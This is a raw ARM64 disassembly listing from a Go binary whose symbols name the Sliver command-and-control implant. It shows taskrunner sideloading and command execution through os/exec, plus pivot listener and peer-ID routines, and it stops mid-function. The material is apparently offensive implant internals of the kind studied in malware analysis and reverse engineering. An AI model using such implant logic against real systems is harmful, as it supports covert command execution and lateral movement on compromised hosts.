0042a458ldr x7, [sp+864]
0042a45cstr x7, [x5+8]
0042a460adrp x27, 0x621000
0042a464ldr w7, [x27+3056]
0042a468cbz w7, 0x42a470
0042a46cb 0x42a474
0042a470
0042a470loc_42a470:
0042a470b 0x42a488
0042a474
0042a474loc_42a474:
0042a474bl runtime.gcWriteBarrier2
0042a478str x6, [x25]
0042a47cldr x7, [x5]
0042a480str x7, [x25+8]
0042a484b 0x42a488
0042a488
0042a488loc_42a488:
0042a488str x6, [x5]
0042a48cldrsb x27, [x5]
0042a490ldr x6, [sp+824]
0042a494ldr x7, [sp+832]
0042a498str x7, [x5+24]
0042a49cadrp x27, 0x621000
0042a4a0ldr w7, [x27+3056]
0042a4a4cbz w7, 0x42a4ac
0042a4a8b 0x42a4b0
0042a4ac
0042a4acloc_42a4ac:
0042a4acb 0x42a4c4
0042a4b0
0042a4b0loc_42a4b0:
0042a4b0bl runtime.gcWriteBarrier2
0042a4b4str x6, [x25]
0042a4b8ldr x7, [x5+16]
0042a4bcstr x7, [x25+8]
0042a4c0b 0x42a4c4
0042a4c4
0042a4c4loc_42a4c4:
0042a4c4str x6, [x5+16]
0042a4c8ldr x5, [sp+504]
0042a4ccldrsb x27, [x5]
0042a4d0b 0x42a4d4
0042a4d4
0042a4d4loc_42a4d4:
0042a4d4str x5, [sp+176]
0042a4d8orr x5, xzr, 2
0042a4dcstr x5, [sp+184]
0042a4e0str x5, [sp+192]
0042a4e4ldr x2, [sp+272]
0042a4e8ldr x0, [sp+256]
0042a4ecldr x5, [sp+264]
0042a4f0str x0, [sp+448]
0042a4f4str x5, [sp+456]
0042a4f8str x2, [sp+464]
0042a4fcldr x6, [sp+184]
0042a500add x1, x5, x6
0042a504str x1, [sp+80]
0042a508subs xzr, x2, x1
0042a50cb.hs 0x42a514
0042a510b 0x42a51c
0042a514
0042a514loc_42a514:
0042a514str x1, [sp+456]
0042a518b 0x42a53c
0042a51c
0042a51cloc_42a51c:
0042a51cldr x3, [sp+184]
0042a520adrp x4, 0x1cb000
0042a524add x4, x4, 2944
0042a528bl runtime.growslice
0042a52cstr x0, [sp+448]
0042a530str x1, [sp+456]
0042a534str x2, [sp+464]
0042a538b 0x42a53c
0042a53c
0042a53cloc_42a53c:
0042a53cldr x5, [sp+80]
0042a540ldr x6, [sp+184]
0042a544sub x7, x5, x6
0042a548ubfm x7, x7, 60, 59
0042a54cldr x8, [sp+448]
0042a550ldr x9, [sp+456]
0042a554add x9, x9, x6
0042a558sub x2, x9, x5
0042a55cldr x9, [sp+464]
0042a560add x6, x9, x6
0042a564sub x5, x6, x5
0042a568sub x6, xzr, x5
0042a56cand x6, x7, x6, asr #63
0042a570add x1, x8, x6
0042a574str x1, [sp+424]
0042a578str x2, [sp+432]
0042a57cstr x5, [sp+440]
0042a580ldr x3, [sp+176]
0042a584ldr x4, [sp+184]
0042a588adrp x0, 0x1cb000
0042a58cadd x0, x0, 2944
0042a590bl runtime.typedslicecopy
0042a594ldr x5, [sp+448]
0042a598ldr x6, [sp+456]
0042a59cldr x7, [sp+464]
0042a5a0str x5, [sp+256]
0042a5a4str x6, [sp+264]
0042a5a8str x7, [sp+272]
0042a5acldr x5, [sp+1072]
0042a5b0str x5, [sp+88]
0042a5b4cbnz x5, 0x42a5bc
0042a5b8b 0x42a5dc
0042a5bc
0042a5bcloc_42a5bc:
0042a5bcldr x0, [sp+1048]
0042a5c0ldr x2, [sp+1064]
0042a5c4ldr x1, [sp+1056]
0042a5c8ldr x3, [sp+1072]
0042a5ccldr x4, [sp+1080]
0042a5d0bl os/exec.Command
0042a5d4str x0, [sp+280]
0042a5d8b 0x42a5fc
0042a5dc
0042a5dcloc_42a5dc:
0042a5dcldr x0, [sp+1048]
0042a5e0ldr x1, [sp+1056]
0042a5e4mov x2, xzr
0042a5e8mov x3, xzr
0042a5ecmov x4, x3
0042a5f0bl os/exec.Command
0042a5f4str x0, [sp+280]
0042a5f8b 0x42a5fc
0042a5fc
0042a5fcloc_42a5fc:
0042a5fcldr x1, [sp+280]
0042a600ldrsb x27, [x1]
0042a604ldr x2, [sp+256]
0042a608ldr x3, [sp+264]
0042a60cldr x4, [sp+272]
0042a610str x3, [x1+48]
0042a614str x4, [x1+56]
0042a618adrp x27, 0x621000
0042a61cldr w3, [x27+3056]
0042a620cbz w3, 0x42a628
0042a624b 0x42a62c
0042a628
0042a628loc_42a628:
0042a628b 0x42a640
0042a62c
0042a62cloc_42a62c:
0042a62cbl runtime.gcWriteBarrier2
0042a630str x2, [x25]
0042a634ldr x3, [x1+40]
0042a638str x3, [x25+8]
0042a63cb 0x42a640
0042a640
0042a640loc_42a640:
0042a640str x2, [x1+40]
0042a644ldr x1, [sp+1016]
0042a648str x1, [sp+816]
0042a64cldr x2, [sp+280]
0042a650ldrsb x27, [x2]
0042a654adrp x3, 0x2e9000
0042a658add x3, x3, 2976
0042a65cstr x3, [x2+96]
0042a660adrp x27, 0x621000
0042a664ldr w3, [x27+3056]
0042a668cbz w3, 0x42a670
0042a66cb 0x42a674
0042a670
0042a670loc_42a670:
0042a670b 0x42a688
0042a674
0042a674loc_42a674:
0042a674bl runtime.gcWriteBarrier2
0042a678str x1, [x25]
0042a67cldr x3, [x2+104]
0042a680str x3, [x25+8]
0042a684b 0x42a688
0042a688
0042a688loc_42a688:
0042a688str x1, [x2+104]
0042a68cldr x1, [sp+1024]
0042a690str x1, [sp+816]
0042a694ldr x2, [sp+280]
0042a698ldrsb x27, [x2]
0042a69cadrp x3, 0x2e9000
0042a6a0add x3, x3, 2976
0042a6a4str x3, [x2+112]
0042a6a8adrp x27, 0x621000
0042a6acldr w3, [x27+3056]
0042a6b0cbz w3, 0x42a6b8
0042a6b4b 0x42a6bc
0042a6b8
0042a6b8loc_42a6b8:
0042a6b8b 0x42a6d0
0042a6bc
0042a6bcloc_42a6bc:
0042a6bcbl runtime.gcWriteBarrier2
0042a6c0str x1, [x25]
0042a6c4ldr x3, [x2+120]
0042a6c8str x3, [x25+8]
0042a6ccb 0x42a6d0
0042a6d0
0042a6d0loc_42a6d0:
0042a6d0str x1, [x2+120]
0042a6d4ldr x0, [sp+280]
0042a6d8bl os/exec.(*Cmd).String
0042a6dcstr x0, [sp+824]
0042a6e0str x1, [sp+832]
0042a6e4add x27, sp, 840
0042a6e8stp xzr, xzr, [x27]
0042a6ecadd x1, sp, 840
0042a6f0str x1, [sp+392]
0042a6f4ldr x0, [sp+824]
0042a6f8ldr x1, [sp+832]
0042a6fcbl runtime.convTstring
0042a700str x0, [sp+384]
0042a704ldr x1, [sp+392]
0042a708ldrsb x27, [x1]
0042a70cadrp x2, 0x1cb000
0042a710add x2, x2, 2944
0042a714str x2, [x1]
0042a718adrp x27, 0x621000
0042a71cldr w2, [x27+3056]
0042a720cbz w2, 0x42a728
0042a724b 0x42a72c
0042a728
0042a728loc_42a728:
0042a728b 0x42a740
0042a72c
0042a72cloc_42a72c:
0042a72cbl runtime.gcWriteBarrier2
0042a730str x0, [x25]
0042a734ldr x5, [x1+8]
0042a738str x5, [x25+8]
0042a73cb 0x42a740
0042a740
0042a740loc_42a740:
0042a740str x0, [x1+8]
0042a744ldr x2, [sp+392]
0042a748ldrsb x27, [x2]
0042a74cb 0x42a750
0042a750
0042a750loc_42a750:
0042a750str x2, [sp+400]
0042a754orr x4, xzr, 1
0042a758str x4, [sp+408]
0042a75cstr x4, [sp+416]
0042a760adrp x0, 0x289000
0042a764add x0, x0, 564
0042a768orr x1, xzr, 12
0042a76cmov x3, x4
0042a770bl log.Printf
0042a774ldr x0, [sp+1008]
0042a778orr x1, xzr, 1
0042a77cbl sync.(*WaitGroup).Add
0042a780ldr x5, [sp+280]
0042a784str x5, [sp+976]
0042a788ldr x5, [sp+1008]
0042a78cstr x5, [sp+968]
0042a790adrp x0, 0x222000
0042a794add x0, x0, 960
0042a798bl runtime.newobject
0042a79cstr x0, [sp+376]
0042a7a0adrp x5, 0
0042a7a4add x5, x5, 2656
0042a7a8str x5, [x0]
0042a7acldr x5, [sp+976]
0042a7b0ldr x6, [sp+376]
0042a7b4ldrsb x27, [x6]
0042a7b8adrp x27, 0x621000
0042a7bcldr w7, [x27+3056]
0042a7c0cbz w7, 0x42a7c8
0042a7c4b 0x42a7cc
0042a7c8
0042a7c8loc_42a7c8:
0042a7c8b 0x42a7e0
0042a7cc
0042a7ccloc_42a7cc:
0042a7ccbl runtime.gcWriteBarrier2
0042a7d0str x5, [x25]
0042a7d4ldr x1, [x6+8]
0042a7d8str x1, [x25+8]
0042a7dcb 0x42a7e0
0042a7e0
0042a7e0loc_42a7e0:
0042a7e0str x5, [x6+8]
0042a7e4ldr x1, [sp+968]
0042a7e8ldr x2, [sp+376]
0042a7ecldrsb x27, [x2]
0042a7f0adrp x27, 0x621000
0042a7f4ldr w3, [x27+3056]
0042a7f8cbz w3, 0x42a800
0042a7fcb 0x42a804
0042a800
0042a800loc_42a800:
0042a800b 0x42a818
0042a804
0042a804loc_42a804:
0042a804bl runtime.gcWriteBarrier2
0042a808str x1, [x25]
0042a80cldr x3, [x2+16]
0042a810str x3, [x25+8]
0042a814b 0x42a818
0042a818
0042a818loc_42a818:
0042a818str x1, [x2+16]
0042a81cldr x0, [sp+376]
0042a820bl runtime.newproc
0042a824ldr x0, [sp+1008]
0042a828bl sync.(*WaitGroup).Wait
0042a82cldr x0, [sp+1024]
0042a830bl bytes.(*Buffer).Bytes
0042a834str x0, [sp+792]
0042a838str x1, [sp+800]
0042a83cstr x2, [sp+808]
0042a840str x1, [sp+88]
0042a844cbnz x1, 0x42a84c
0042a848b 0x42a89c
0042a84c
0042a84cloc_42a84c:
0042a84cldr x0, [sp+1024]
0042a850bl bytes.(*Buffer).String
0042a854str x0, [sp+824]
0042a858str x1, [sp+832]
0042a85cmov x2, xzr
0042a860mov x3, xzr
0042a864mov x4, x3
0042a868bl fmt.Errorf
0042a86cstr x0, [sp+936]
0042a870str x1, [sp+944]
0042a874stp xzr, xzr, [sp+160]
0042a878ldr x2, [sp+936]
0042a87cldr x3, [sp+944]
0042a880str x2, [sp+144]
0042a884str x3, [sp+152]
0042a888ldr x0, [sp+160]
0042a88cldr x1, [sp+168]
0042a890ldp x29, x30, [sp-8]
0042a894add sp, sp, 1040
0042a898ret x30
0042a89c
0042a89cloc_42a89c:
0042a89cldr x0, [sp+1016]
0042a8a0bl bytes.(*Buffer).String
0042a8a4str x0, [sp+824]
0042a8a8str x1, [sp+832]
0042a8acadd x27, sp, 840
0042a8b0stp xzr, xzr, [x27]
0042a8b4add x1, sp, 840
0042a8b8str x1, [sp+344]
0042a8bcldr x0, [sp+824]
0042a8c0ldr x1, [sp+832]
0042a8c4bl runtime.convTstring
0042a8c8str x0, [sp+336]
0042a8ccldr x1, [sp+344]
0042a8d0ldrsb x27, [x1]
0042a8d4adrp x2, 0x1cb000
0042a8d8add x2, x2, 2944
0042a8dcstr x2, [x1]
0042a8e0adrp x27, 0x621000
0042a8e4ldr w2, [x27+3056]
0042a8e8cbz w2, 0x42a8f0
0042a8ecb 0x42a8f4
0042a8f0
0042a8f0loc_42a8f0:
0042a8f0b 0x42a908
0042a8f4
0042a8f4loc_42a8f4:
0042a8f4bl runtime.gcWriteBarrier2
0042a8f8str x0, [x25]
0042a8fcldr x5, [x1+8]
0042a900str x5, [x25+8]
0042a904b 0x42a908
0042a908
0042a908loc_42a908:
0042a908str x0, [x1+8]
0042a90cldr x2, [sp+344]
0042a910ldrsb x27, [x2]
0042a914b 0x42a918
0042a918
0042a918loc_42a918:
0042a918str x2, [sp+352]
0042a91corr x4, xzr, 1
0042a920str x4, [sp+360]
0042a924str x4, [sp+368]
0042a928adrp x0, 0x28b000
0042a92cadd x0, x0, 1186
0042a930movz x1, 17
0042a934mov x3, x4
0042a938bl log.Printf
0042a93cldr x0, [sp+1024]
0042a940bl bytes.(*Buffer).String
0042a944str x0, [sp+824]
0042a948str x1, [sp+832]
0042a94cadd x27, sp, 840
0042a950stp xzr, xzr, [x27]
0042a954add x5, sp, 840
0042a958str x5, [sp+304]
0042a95cldr x0, [sp+824]
0042a960ldr x1, [sp+832]
0042a964bl runtime.convTstring
0042a968str x0, [sp+296]
0042a96cldr x5, [sp+304]
0042a970ldrsb x27, [x5]
0042a974adrp x6, 0x1cb000
0042a978add x6, x6, 2944
0042a97cstr x6, [x5]
0042a980adrp x27, 0x621000
0042a984ldr w6, [x27+3056]
0042a988cbz w6, 0x42a990
0042a98cb 0x42a994
0042a990
0042a990loc_42a990:
0042a990b 0x42a9a8
0042a994
0042a994loc_42a994:
0042a994bl runtime.gcWriteBarrier2
0042a998str x0, [x25]
0042a99cldr x6, [x5+8]
0042a9a0str x6, [x25+8]
0042a9a4b 0x42a9a8
0042a9a8
0042a9a8loc_42a9a8:
0042a9a8str x0, [x5+8]
0042a9acldr x2, [sp+304]
0042a9b0ldrsb x27, [x2]
0042a9b4b 0x42a9b8
0042a9b8
0042a9b8loc_42a9b8:
0042a9b8str x2, [sp+312]
0042a9bcorr x4, xzr, 1
0042a9c0str x4, [sp+320]
0042a9c4str x4, [sp+328]
0042a9c8adrp x0, 0x28b000
0042a9ccadd x0, x0, 1203
0042a9d0movz x1, 17
0042a9d4mov x3, x4
0042a9d8bl log.Printf
0042a9dcldr x0, [sp+1016]
0042a9e0bl bytes.(*Buffer).String
0042a9e4str x0, [sp+824]
0042a9e8str x1, [sp+832]
0042a9ecstr x0, [sp+160]
0042a9f0str x1, [sp+168]
0042a9f4stp xzr, xzr, [sp+144]
0042a9f8ldr x0, [sp+160]
0042a9fcldr x1, [sp+168]
0042aa00mov x2, xzr
0042aa04mov x3, xzr
0042aa08ldp x29, x30, [sp-8]
0042aa0cadd sp, sp, 1040
0042aa10ret x30
0042aa14
0042aa14loc_42aa14:
0042aa14stp x0, x1, [sp+8]
0042aa18stp x2, x3, [sp+24]
0042aa1cstr x4, [sp+40]
0042aa20str w5, [sp+48]
0042aa24stp x6, x7, [sp+56]
0042aa28stp x8, x9, [sp+72]
0042aa2cstp x10, x11, [sp+88]
0042aa30strb w12, [sp+104]
0042aa34mov x3, x30
0042aa38bl runtime.morestack_noctxt.abi0
0042aa3cldp x0, x1, [sp+8]
0042aa40ldp x2, x3, [sp+24]
0042aa44ldr x4, [sp+40]
0042aa48ldr w5, [sp+48]
0042aa4cldp x6, x7, [sp+56]
0042aa50ldp x8, x9, [sp+72]
0042aa54ldp x10, x11, [sp+88]
0042aa58ldrb w12, [sp+104]
0042aa5cb 0x429dc0
00429dc0

0042aa60
0042aa60github.com/bishopfox/sliver/implant/sliver/taskrunner.Sideload.gowrap1: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.Sideload.gowrap1(void)
0042aa60ldr x16, [x28+16]
0042aa64subs xzr, sp, x16
0042aa68b.ls 0x42aaa4
0042aa6cstr x30, [sp-48]!
0042aa70stur x29, [sp-8]
0042aa74sub x29, sp, 8
0042aa78ldr x16, [x28+32]
0042aa7ccbnz x16, 0x42aab0
0042aa80
0042aa80loc_42aa80:
0042aa80ldr x2, [x26+8]
0042aa84str x2, [sp+32]
0042aa88ldr x1, [x26+16]
0042aa8cstr x1, [sp+24]
0042aa90ldr x0, [sp+32]
0042aa94bl github.com/bishopfox/sliver/implant/sliver/taskrunner.startAndWait
0042aa98ldur x29, [sp-8]
0042aa9cldr x30, [sp], 48
0042aaa0ret x30
0042aaa4
0042aaa4loc_42aaa4:
0042aaa4mov x3, x30
0042aaa8bl runtime.morestack.abi0
0042aaacb 0x42aa60
0042aab0
0042aab0loc_42aab0:
0042aab0ldr x17, [x16]
0042aab4add x20, sp, 56
0042aab8subs xzr, x20, x17
0042aabcb.ne 0x42aa80
0042aac0add x20, sp, 8
0042aac4str x20, [x16]
0042aac8b 0x42aa80
0042aaccudf 0
0042aa60

0042aad0
0042aad0github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask.func1: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask.func1(func() fPtr)
0042aad0ldr x16, [x28+16]
0042aad4subs xzr, sp, x16
0042aad8b.ls 0x42ab04
0042aadcstr x30, [sp-16]!
0042aae0stur x29, [sp-8]
0042aae4sub x29, sp, 8
0042aae8str x0, [sp+24]
0042aaecldr x1, [x0]
0042aaf0mov x26, x0
0042aaf4blr x1
0042aaf8ldur x29, [sp-8]
0042aafcldr x30, [sp], 16
0042ab00ret x30
0042ab04
0042ab04loc_42ab04:
0042ab04str x0, [sp+8]
0042ab08mov x3, x30
0042ab0cbl runtime.morestack_noctxt.abi0
0042ab10ldr x0, [sp+8]
0042ab14b 0x42aad0
0042ab18udf 0
0042ab1cudf 0
0042aad0

0042ab20
0042ab20github.com/bishopfox/sliver/implant/sliver/pivots.init: ; void github.com/bishopfox/sliver/implant/sliver/pivots.init(void)
0042ab20ldr x16, [x28+16]
0042ab24subs xzr, sp, x16
0042ab28b.ls 0x42ac80
0042ab2cstr x30, [sp-64]!
0042ab30stur x29, [sp-8]
0042ab34sub x29, sp, 8
0042ab38adrp x0, 0x28a000
0042ab3cadd x0, x0, 927
0042ab40orr x1, xzr, 15
0042ab44bl errors.New
0042ab48adrp x27, 0x5f7000
0042ab4cstr x0, [x27+1360]
0042ab50adrp x27, 0x621000
0042ab54ldr w2, [x27+3056]
0042ab58cbz w2, 0x42ab60
0042ab5cb 0x42ab64
0042ab60
0042ab60loc_42ab60:
0042ab60b 0x42ab7c
0042ab64
0042ab64loc_42ab64:
0042ab64bl runtime.gcWriteBarrier2
0042ab68str x1, [x25]
0042ab6cadrp x27, 0x5f7000
0042ab70ldr x2, [x27+1368]
0042ab74str x2, [x25+8]
0042ab78b 0x42ab7c
0042ab7c
0042ab7cloc_42ab7c:
0042ab7cadrp x27, 0x5f7000
0042ab80str x1, [x27+1368]
0042ab84adrp x0, 0x28c000
0042ab88add x0, x0, 510
0042ab8cmovz x1, 19
0042ab90bl errors.New
0042ab94adrp x27, 0x5f7000
0042ab98str x0, [x27+1376]
0042ab9cadrp x27, 0x621000
0042aba0ldr w2, [x27+3056]
0042aba4cbz w2, 0x42abac
0042aba8b 0x42abb0
0042abac
0042abacloc_42abac:
0042abacb 0x42abc8
0042abb0
0042abb0loc_42abb0:
0042abb0bl runtime.gcWriteBarrier2
0042abb4str x1, [x25]
0042abb8adrp x27, 0x5f7000
0042abbcldr x0, [x27+1384]
0042abc0str x0, [x25+8]
0042abc4b 0x42abc8
0042abc8
0042abc8loc_42abc8:
0042abc8adrp x27, 0x5f7000
0042abccstr x1, [x27+1384]
0042abd0bl github.com/bishopfox/sliver/implant/sliver/pivots.generatePeerID
0042abd4adrp x27, 0x621000
0042abd8str x0, [x27+2144]
0042abdcbl runtime.makemap_small
0042abe0str x0, [sp+48]
0042abe4adrp x0, 0x2ae000
0042abe8add x0, x0, 3152
0042abecstr x0, [sp+40]
0042abf0ldr x1, [sp+48]
0042abf4adrp x0, 0x1f9000
0042abf8add x0, x0, 3296
0042abfcmov x2, xzr
0042ac00bl runtime.mapassign_fast32
0042ac04str x0, [sp+32]
0042ac08ldrsb x27, [x0]
0042ac0cldr x1, [sp+40]
0042ac10adrp x27, 0x621000
0042ac14ldr w2, [x27+3056]
0042ac18cbz w2, 0x42ac20
0042ac1cb 0x42ac24
0042ac20
0042ac20loc_42ac20:
0042ac20b 0x42ac38
0042ac24
0042ac24loc_42ac24:
0042ac24bl runtime.gcWriteBarrier2
0042ac28str x1, [x25]
0042ac2cldr x2, [x0]
0042ac30str x2, [x25+8]
0042ac34b 0x42ac38
0042ac38
0042ac38loc_42ac38:
0042ac38str x1, [x0]
0042ac3cldr x0, [sp+48]
0042ac40adrp x27, 0x621000
0042ac44ldr w1, [x27+3056]
0042ac48cbz w1, 0x42ac50
0042ac4cb 0x42ac54
0042ac50
0042ac50loc_42ac50:
0042ac50b 0x42ac6c
0042ac54
0042ac54loc_42ac54:
0042ac54bl runtime.gcWriteBarrier2
0042ac58str x0, [x25]
0042ac5cadrp x27, 0x5f6000
0042ac60ldr x1, [x27+3208]
0042ac64str x1, [x25+8]
0042ac68b 0x42ac6c
0042ac6c
0042ac6cloc_42ac6c:
0042ac6cadrp x27, 0x5f6000
0042ac70str x0, [x27+3208]
0042ac74ldur x29, [sp-8]
0042ac78ldr x30, [sp], 64
0042ac7cret x30
0042ac80
0042ac80loc_42ac80:
0042ac80mov x3, x30
0042ac84bl runtime.morestack_noctxt.abi0
0042ac88b 0x42ab20
0042ac8cudf 0
0042ab20

0042ac90
0042ac90github.com/bishopfox/sliver/implant/sliver/pivots.generatePeerID: ; void github.com/bishopfox/sliver/implant/sliver/pivots.generatePeerID(void)
0042ac90ldr x16, [x28+16]
0042ac94sub x17, sp, 64
0042ac98subs xzr, x17, x16
0042ac9cb.ls 0x42ad9c
0042aca0str x30, [sp-192]!
0042aca4stur x29, [sp-8]
0042aca8sub x29, sp, 8
0042acacstr xzr, [sp+40]
0042acb0adrp x0, 0x1cb000
0042acb4add x0, x0, 3072
0042acb8orr x1, xzr, 8
0042acbcmov x2, x1
0042acc0bl runtime.makeslice
0042acc4str x0, [sp+104]
0042acc8orr x3, xzr, 8
0042acccstr x3, [sp+112]
0042acd0str x3, [sp+120]
0042acd4stp xzr, xzr, [sp+152]
0042acd8ldr x0, [sp+104]
0042acdcldr x1, [sp+112]
0042ace0ldr x2, [sp+120]
0042ace4bl crypto/rand.Read
0042ace8str x0, [sp+64]
0042acecstr x1, [sp+152]
0042acf0str x2, [sp+160]
0042acf4ldr x3, [sp+64]
0042acf8str x3, [sp+72]
0042acfcstr x1, [sp+168]
0042ad00str x2, [sp+176]
0042ad04str x1, [sp+88]
0042ad08str x2, [sp+96]
0042ad0ccbnz x1, 0x42ad14
0042ad10b 0x42ad3c
0042ad14
0042ad14loc_42ad14:
0042ad14bl time.Now
0042ad18str x0, [sp+128]
0042ad1cstr x1, [sp+136]
0042ad20str x2, [sp+144]
0042ad24bl time.Time.UnixNano
0042ad28str x0, [sp+56]
0042ad2cstr x0, [sp+40]
0042ad30ldur x29, [sp-8]
0042ad34ldr x30, [sp], 192
0042ad38ret x30
0042ad3c
0042ad3cloc_42ad3c:
0042ad3cldr x0, [sp+104]
0042ad40ldr x1, [sp+112]
0042ad44ldr x2, [sp+120]
0042ad48bl encoding/binary.littleEndian.Uint64
0042ad4cstr x0, [sp+80]
0042ad50str x0, [sp+48]
0042ad54ldr x3, [sp+48]
0042ad58cbz x3, 0x42ad60
0042ad5cb 0x42ad88
0042ad60
0042ad60loc_42ad60:
0042ad60bl time.Now
0042ad64str x0, [sp+128]
0042ad68str x1, [sp+136]
0042ad6cstr x2, [sp+144]
0042ad70bl time.Time.UnixNano
0042ad74str x0, [sp+56]
0042ad78str x0, [sp+40]
0042ad7cldur x29, [sp-8]
0042ad80ldr x30, [sp], 192
0042ad84ret x30
0042ad88
0042ad88loc_42ad88:
0042ad88ldr x0, [sp+48]
0042ad8cstr x0, [sp+40]
0042ad90ldur x29, [sp-8]
0042ad94ldr x30, [sp], 192
0042ad98ret x30
0042ad9c
0042ad9cloc_42ad9c:
0042ad9cmov x3, x30
0042ada0bl runtime.morestack_noctxt.abi0
0042ada4b 0x42ac90
0042ada8udf 0
0042adacudf 0
0042ac90

0042adb0
0042adb0github.com/bishopfox/sliver/implant/sliver/pivots.GetListeners: ; void github.com/bishopfox/sliver/implant/sliver/pivots.GetListeners(void)
0042adb0ldr x16, [x28+16]
0042adb4sub x17, sp, 16
0042adb8subs xzr, x17, x16
0042adbcb.ls 0x42ae78
0042adc0str x30, [sp-144]!
0042adc4stur x29, [sp-8]
0042adc8sub x29, sp, 8
0042adccstr xzr, [sp+32]
0042add0stp xzr, xzr, [sp+40]
0042add4adrp x2, 0x621000
0042add8add x2, x2, 1504
0042addcstr x2, [sp+88]
0042ade0b 0x42ade4
0042ade4
0042ade4loc_42ade4:
0042ade4str x2, [sp+96]
0042ade8stp xzr, xzr, [sp+104]
0042adecstr x2, [sp+56]
0042adf0stp xzr, xzr, [sp+64]
0042adf4stp xzr, xzr, [sp+120]
0042adf8add x1, sp, 120
0042adfcstr x1, [sp+80]
0042ae00ldrsb x27, [x1]
0042ae04adrp x2, 0
0042ae08add x2, x2, 3728
0042ae0cstr x2, [x1]
0042ae10ldrsb x27, [x1]
0042ae14adrp x27, 0x621000
0042ae18ldr w2, [x27+3056]
0042ae1ccbz w2, 0x42ae24
0042ae20b 0x42ae28
0042ae24
0042ae24loc_42ae24:
0042ae24b 0x42ae40
0042ae28
0042ae28loc_42ae28:
0042ae28bl runtime.gcWriteBarrier2
0042ae2cadd x2, sp, 56
0042ae30str x2, [x25]
0042ae34ldr x3, [x1+8]
0042ae38str x3, [x25+8]
0042ae3cb 0x42ae40
0042ae40
0042ae40loc_42ae40:
0042ae40add x2, sp, 56
0042ae44str x2, [x1+8]
0042ae48adrp x27, 0x5e3000
0042ae4cldr x0, [x27+16]
0042ae50bl sync.(*Map).Range
0042ae54ldr x0, [sp+56]
0042ae58ldr x1, [sp+64]
0042ae5cldr x2, [sp+72]
0042ae60str x0, [sp+32]
0042ae64str x1, [sp+40]
0042ae68str x2, [sp+48]
0042ae6cldur x29, [sp-8]
0042ae70ldr x30, [sp], 144
0042ae74ret x30
0042ae78
0042ae78loc_42ae78:
0042ae78mov x3, x30
0042ae7cbl runtime.morestack_noctxt.abi0
0042ae80b 0x42adb0
0042ae84udf 0
0042ae88udf 0
0042ae8cudf 0
0042adb0

0042ae90
0042ae90github.com/bishopfox/sliver/implant/sliver/pivots.GetListeners.func1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.GetListeners.func1(interface {} key, interface {} value)
0042ae90ldr x16, [x28+16]
0042ae94subs xzr, sp, x16
0042ae98b.ls 0x42afb8
0042ae9cstr x30, [sp-128]!
0042aea0stur x29, [sp-8]
0042aea4sub x29, sp, 8
0042aea8str x0, [sp+136]
0042aeacstr x1, [sp+144]
0042aeb0str x2, [sp+152]
0042aeb4str x3, [sp+160]
0042aeb8ldr x3, [x26+8]
0042aebcstr x3, [sp+112]
0042aec0strb wzr, [sp+95]
0042aec4ldr x0, [sp+152]
0042aec8ldr x3, [sp+160]
0042aeccadrp x1, 0x1fe000
0042aed0add x1, x1, 2528
0042aed4subs xzr, x0, x1
0042aed8b.eq 0x42aee0
0042aedcb 0x42afa8
0042aee0
0042aee0loc_42aee0:
0042aee0str x3, [sp+96]
0042aee4mov x0, x3
0042aee8bl github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).ToProtobuf
0042aeecstr x0, [sp+104]
0042aef0ldr x1, [sp+112]
0042aef4ldr x2, [x1+16]
0042aef8ldr x0, [x1]
0042aefcldr x1, [x1+8]
0042af00add x1, x1, 1
0042af04subs xzr, x2, x1
0042af08b.hs 0x42af10
0042af0cb 0x42af14
0042af10
0042af10loc_42af10:
0042af10b 0x42af28
0042af14
0042af14loc_42af14:
0042af14orr x3, xzr, 1
0042af18adrp x4, 0x250000
0042af1cadd x4, x4, 1824
0042af20bl runtime.growslice
0042af24b 0x42af28
0042af28
0042af28loc_42af28:
0042af28sub x3, x1, 1
0042af2cldr x4, [sp+104]
0042af30adrp x27, 0x621000
0042af34ldr w5, [x27+3056]
0042af38cbz w5, 0x42af40
0042af3cb 0x42af44
0042af40
0042af40loc_42af40:
0042af40b 0x42af58
0042af44
0042af44loc_42af44:
0042af44bl runtime.gcWriteBarrier2
0042af48str x4, [x25]
0042af4cldr x5, [x0+3*x3]
0042af50str x5, [x25+8]
0042af54b 0x42af58
0042af58
0042af58loc_42af58:
0042af58str x4, [x0+3*x3]
0042af5cldr x3, [sp+112]
0042af60str x1, [x3+8]
0042af64str x2, [x3+16]
0042af68adrp x27, 0x621000
0042af6cldr w1, [x27+3056]
0042af70cbz w1, 0x42af78
0042af74b 0x42af7c
0042af78
0042af78loc_42af78:
0042af78b 0x42af90
0042af7c
0042af7cloc_42af7c:
0042af7cbl runtime.gcWriteBarrier2
0042af80str x0, [x25]
0042af84ldr x1, [x3]
0042af88str x1, [x25+8]
0042af8cb 0x42af90
0042af90
0042af90loc_42af90:
0042af90str x0, [x3]
0042af94orr x0, xzr, 1
0042af98strb w0, [sp+95]
0042af9cldur x29, [sp-8]
0042afa0ldr x30, [sp], 128
0042afa4ret x30
0042afa8
0042afa8loc_42afa8:
0042afa8adrp x2, 0x1e0000
0042afacadd x2, x2, 3520
0042afb0bl runtime.panicdottypeE
0042afb4hint
0042afb8
0042afb8loc_42afb8:
0042afb8stp x0, x1, [sp+8]
0042afbcstp x2, x3, [sp+24]
0042afc0mov x3, x30
0042afc4bl runtime.morestack.abi0
0042afc8ldp x0, x1, [sp+8]
0042afccldp x2, x3, [sp+24]
0042afd0b 0x42ae90
0042afd4udf 0
0042afd8udf 0
0042afdcudf 0
0042ae90

0042afe0
0042afe0github.com/bishopfox/sliver/implant/sliver/pivots.AddListener: ; void github.com/bishopfox/sliver/implant/sliver/pivots.AddListener(github.com/bishopfox/sliver/implant/sliver/pivots.PivotListener * listener)
0042afe0ldr x16, [x28+16]
0042afe4sub x17, sp, 64
0042afe8subs xzr, x17, x16
0042afecb.ls 0x42b174
0042aff0str x30, [sp-192]!
0042aff4stur x29, [sp-8]
0042aff8sub x29, sp, 8
0042affcstr x0, [sp+200]
0042b000stp xzr, xzr, [sp+168]
0042b004add x1, sp, 168
0042b008str x1, [sp+128]
0042b00cadrp x27, 0x620000
0042b010ldr x0, [x27+2144]
0042b014bl runtime.convT64
0042b018str x0, [sp+120]
0042b01cldr x1, [sp+128]
0042b020ldrsb x27, [x1]
0042b024adrp x2, 0x1ca000
0042b028add x2, x2, 3392
0042b02cstr x2, [x1]
0042b030adrp x27, 0x620000
0042b034ldr w2, [x27+3056]
0042b038cbz w2, 0x42b040
